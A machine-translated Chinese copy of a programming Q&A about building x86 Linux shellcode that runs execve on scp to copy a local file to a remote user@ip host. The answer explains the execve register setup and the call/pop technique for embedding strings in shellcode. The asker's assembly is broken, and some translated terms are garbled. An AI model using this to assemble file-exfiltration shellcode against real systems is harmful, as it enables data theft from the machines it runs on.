程序集x86:具有多个args的execve

时间:2014-05-12 19:11:59

标签: assembly x86 execve

我想编写一个执行sys_execve("/usr/bin/scp","usr/bin/scp",args,NULL)

的shellcode

这是完整的命令:
scp -i /tmp/file -P 8989 /path/file user@ip:/home/user

问题是我需要很多的注册表(在scp之后有6个令牌):

cdq

push edx
push user@ip:/home/user
mov edi,esp

push edx
push /path/file
mov esi,esp

push edx
push 8989
mov ecx,esp

push edx
push -P
mov eax,esp

push edx
push /tmp/file
???

push edx
push -i
???

push edx
push /usr/bin/scp
mov ebx,esp

我试图像这样推送寄存器:

cdq

push edx
push user@ip:/home/user
mov edi,esp

push edx
push /path/file
mov esi,esp

push edx
push 8989
mov ecx,esp

push edx
push -P
mov eax,esp

push edx
push edi
push esi
push ecx
push eax
mov ecx,esp

push edx
push /tmp/file
mov edi,esp

push edx
push -i
mov esi,esp

push edx
push /usr/bin/scp
mov ebx,esp

push edx
push ecx
push edi
push esi
push ebx
mov ecx,esp

int 0x80

但是使用gdb和libemu我看到它只产生垃圾字节 有关如何解决这个问题的任何提示?

1 个答案:

答案 0 :(得分:0)

  

推送/路径/文件

这条指令应该做什么?

推送字符串的地址?

将字符串本身写入堆栈?

  

我试图像这样推送寄存器:

您需要做的是:

  • 按下值0(32位)
  • 将指针(每个32位)推送到要使用的每个环境字符串
  • 将ESP注册复制到EDX(mov edx,esp)
  • 将值0和指针推送到每个命令行参数(包括可执行文件名为argv [0]);推送最后一个参数
  • 将ESP复制到ECX
  • 将指向可执行文件名的指针写入EBX
  • 将0x0B写入EAX
  • 执行" int 0x80"

(假设您使用Linux)

---编辑---

不要将所有内容存储在寄存器中!

我会在程序代码中存储固定字符串:

  call xx
xx:
  pop edx
  lea ecx,[edx+p1-xx]
  push ecx  # ecx is now a pointer to "/some/file"
  lea ecx,[edx+p2-xx]
  push ecx  # ecx is now a pointer to "/other/file"
  ...
  int 0x80
p1:
  db "/some/file",0
p2:
  db "/other/file",0